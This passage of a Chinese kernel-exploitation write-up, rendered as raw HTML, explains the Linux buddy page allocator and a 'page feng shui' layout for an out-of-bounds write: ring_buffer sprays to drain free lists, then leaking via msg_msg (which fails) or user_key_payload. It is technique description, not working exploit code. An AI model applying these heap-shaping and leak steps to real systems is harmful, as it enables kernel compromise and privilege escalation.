248);">free_list</code>，页分配器会检查新释放的页在同一 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">free_list</code> 中是否存在相邻的页（这俩就被称为 buddy），存在的话就将这俩合并后放入 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">order-3</code>。</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5625579240037072" style="" data-type="gif" data-w="1079" src="https://wechat2rss.xlab.app/img-proxy/?k=80126342&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FRcjPiba6l3dpJ0ekOWuC958TtjFPTaXXS6du70OC2hxSuhp2GVWiaZMto5QHC3dKm7BHCVJ8kambiawKSZMOTg3zg%2F640%3Fwx_fmt%3Dgif"/></p><figure style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><figcaption style="font-size: 0.7em;color: rgb(153, 153, 153);line-height: inherit;margin: 10px 0px 0px;padding: 0px;text-align: center;">3-lower-order-merge-to-higher-order</figcaption></figure><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;font-weight: bold;">对应源码</strong>：以下代码展示了页分配器如何从 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">free_area</code> 中选取页以及如何从 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">higher-order</code> 中取页。</p><pre style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 0px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="white-space:pre-wrap;font-size: 14px;color: rgb(169, 183, 198);line-height: 18px;margin: 0px 2px;padding: 0.5em;overflow-wrap: normal !important;border-radius: 0px;background: none 0% 0% repeat scroll rgb(40, 43, 46);font-family: Consolas, Inconsolata, Courier, monospace;display: block;word-break: normal !important;overflow-x: auto;overflow-y: auto !important;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;"><span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">static</span> __always_inline<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">struct</span> <span style="font-size: inherit;color: rgb(165, 218, 45);line-height: inherit;margin: 0px;padding: 0px;">page</span> *__<span style="font-size: inherit;color: rgb(165, 218, 45);line-height: inherit;margin: 0px;padding: 0px;">rmqueue_smallest</span>(<span style="font-size: inherit;color: rgb(165, 218, 45);line-height: inherit;margin: 0px;padding: 0px;">struct</span> <span style="font-size: inherit;color: rgb(165, 218, 45);line-height: inherit;margin: 0px;padding: 0px;">zone</span> *<span style="font-size: inherit;color: rgb(165, 218, 45);line-height: inherit;margin: 0px;padding: 0px;">zone</span>, <span style="font-size: inherit;color: rgb(165, 218, 45);line-height: inherit;margin: 0px;padding: 0px;">unsigned</span> <span style="font-size: inherit;color: rgb(165, 218, 45);line-height: inherit;margin: 0px;padding: 0px;">int</span> <span style="font-size: inherit;color: rgb(165, 218, 45);line-height: inherit;margin: 0px;padding: 0px;">order</span>,<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>                        <span style="font-size: inherit;color: rgb(165, 218, 45);line-height: inherit;margin: 0px;padding: 0px;">int</span> <span style="font-size: inherit;color: rgb(165, 218, 45);line-height: inherit;margin: 0px;padding: 0px;">migratetype</span>)<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>{</span><br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>    <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">unsigned</span> <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">int</span> current_order;<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>    <span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">struct</span> <span style="font-size: inherit;color: rgb(165, 218, 45);line-height: inherit;margin: 0px;padding: 0px;">free_area</span> *<span style="font-size: inherit;color: rgb(165, 218, 45);line-height: inherit;margin: 0px;padding: 0px;">area</span>;</span><br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>    <span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">struct</span> <span style="font-size: inherit;color: rgb(165, 218, 45);line-height: inherit;margin: 0px;padding: 0px;">page</span> *<span style="font-size: inherit;color: rgb(165, 218, 45);line-height: inherit;margin: 0px;padding: 0px;">page</span>;</span><br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>    <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">for</span> (current_order = order; current_order &lt; MAX_ORDER; ++current_order) {<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>        <span style="font-size: inherit;color: rgb(128, 128, 128);line-height: inherit;margin: 0px;padding: 0px;">// Pick up the right order from free_area</span><br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>        area = &amp;(zone-&gt;free_area[current_order]);<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>        <span style="font-size: inherit;color: rgb(128, 128, 128);line-height: inherit;margin: 0px;padding: 0px;">// Get the page from the free_list</span><br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>        page = get_page_from_free_area(area, migratetype);<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>        <span style="font-size: inherit;color: rgb(128, 128, 128);line-height: inherit;margin: 0px;padding: 0px;">// If no freed page in free_list, goes to high order to retrieve</span><br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>        <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">if</span> (!page)<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>            <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">continue</span>;<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>        del_page_from_free_list(page, zone, current_order);<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>        expand(zone, page, order, current_order, migratetype);<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>        set_pcppage_migratetype(page, migratetype);<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>        <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">return</span> page;<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>    }<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>    <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">return</span> <span style="font-size: inherit;color: rgb(174, 135, 250);line-height: inherit;margin: 0px;padding: 0px;">NULL</span>;<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>}<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/><span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;"><span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">static</span> <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">inline</span> struct page *<span style="font-size: inherit;color: rgb(165, 218, 45);line-height: inherit;margin: 0px;padding: 0px;">get_page_from_free_area</span><span style="font-size: inherit;color: rgb(255, 152, 35);line-height: inherit;margin: 0px;padding: 0px;">(struct free_area *area,<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>                        <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">int</span> migratetype)</span><br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/></span>{<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>    <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">return</span> list_first_entry_or_null(&amp;area-&gt;free_list[migratetype],<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>                    struct page, lru);<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>}<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/></code></pre><h3 style="font-size: 1.3em;color: rgb(255, 255, 255);line-height: inherit;margin: 1.5em 5px 2em 0px;padding: 8px 15px;font-weight: bold;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">2-2 shaping heap</span></h3><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;font-weight: bold;">页风水目标</strong>：现在讨论下如何为 OOB write 布局堆结构。现在已知在页分配器中，每种 order 的页都保存在 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">free_area-&gt;free_list</code> 中。由于不能保证在同一 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">free_list</code> 中的两个页是连续的，所以即便连续申请2个同一order的页，这2个页可能相隔很远。为了更好的控制堆布局，我们需要<strong style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;font-weight: bold;">确保 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">free_list</code> 中所有的页是连续</strong>的。首先耗尽目标order的 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">free_list</code>，迫使其向 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">higher-order</code> 取页，这样取过来的页会被划分成两段连续的内存。</p><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;font-weight: bold;">缓解噪声（保证连续）</strong>：有些内核进程也会分配和释放页，影响了堆布局。回到本漏洞中来，我们的目标是布局连续的 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">order-3</code> 的页，但是可能会有 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">order-3</code> 的页被划分到 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">order-2</code> 或者有 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">order-2</code> 的页被整合到 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">order-3</code>。为了缓解噪声影响，可以采取以下步骤：</p><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">（1）耗尽 order 0, 1, 2 的 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">free_list</code>；（<strong style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;font-weight: bold;">采用socket中的 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">ring_buffer</code> 来堆喷—页风水</strong>）</p><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">（2）分配大量的 order-2 对象 （假定为N个），这样，order-2 会向 order-3 取页；（<strong style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;font-weight: bold;">分10个进程，每个进程喷200个 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">4-page</code> 大小的 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">ring_buffer</code></strong>）</p><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">（3）释放第2步中一半的对象，这样，有 N/2 个对象会存入 order-2 的 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">free_list</code>；</p><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">（4）释放第1步所有的对象；</p><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">第3步中，释放一半的 order-2 就避免其发生整合而被存入 order-3，这样 order-2 的 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">free_list</code> 中就有 N/2 个页可以使用了，之后就不会从 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">order-3</code> 取页或者整合到 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">order-3</code> 了。避免我们构造连续的 8-page 时受到影响。</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5625579240037072" style="" data-type="gif" data-w="1079" src="https://wechat2rss.xlab.app/img-proxy/?k=18dc6b74&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FRcjPiba6l3dpJ0ekOWuC958TtjFPTaXXSicM1n1cicOuUZBLQWXYb2C2yUDqFtVxdyw7OKCXpOFh4qRs59cSE3l1w%2F640%3Fwx_fmt%3Dgif"/></p><figure style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><figcaption style="font-size: 0.7em;color: rgb(153, 153, 153);line-height: inherit;margin: 10px 0px 0px;padding: 0px;text-align: center;">4-mitigate_noise</figcaption></figure><hr style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5rem 0px;padding: 0px;height: 1px;border-color: rgb(165, 165, 165) currentcolor currentcolor;border-style: dashed none none;border-width: 1px medium medium;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 style="font-size: 1.4em;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-weight: bold;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">3. 漏洞利用</span></h2><h3 style="font-size: 1.3em;color: rgb(255, 255, 255);line-height: inherit;margin: 1.5em 5px 2em 0px;padding: 8px 15px;font-weight: bold;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">3-1 泄露方法</span></h3><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;font-weight: bold;">思路一（失败）</strong>：利用 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">msg_msg</code>，覆写 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">msg_msg-&gt;m_ts</code> 构造越界读。但是测试时发现，漏洞的垃圾字节会覆写 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">msg_msg-&gt;next</code> 指针（<code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">m_ts</code> 和 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">next</code> 相邻），导致越界读失败。</p><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;font-weight: bold;">思路二</strong>：利用 user_key_payload 结构（从 ELOISE 论文中找到）。可以看到，这个结构的 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">datalen</code> 长度和数据在一起，这样即便垃圾字节会填到末尾，也不会破坏到指针了。</p><pre style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 0px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="white-space:pre-wrap;font-size: 14px;color: rgb(169, 183, 198);line-height: 18px;margin: 0px 2px;padding: 0.5em;overflow-wrap: normal !important;border-radius: 0px;background: none 0% 0% repeat scroll rgb(40, 43, 46);font-family: Consolas, Inconsolata, Courier, monospace;display: block;word-break: normal !important;overflow-x: auto;overflow-y: auto !important;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">struct</span> <span style="font-size: inherit;color: rgb(165, 218, 45);line-height: inherit;margin: 0px;padding: 0px;">user_key_payload</span> {</span><br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>    <span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">struct</span> <span style="font-size: inherit;color: rgb(165, 218, 45);line-height: inherit;margin: 0px;padding: 0px;">rcu_head</span> <span style="font-size: 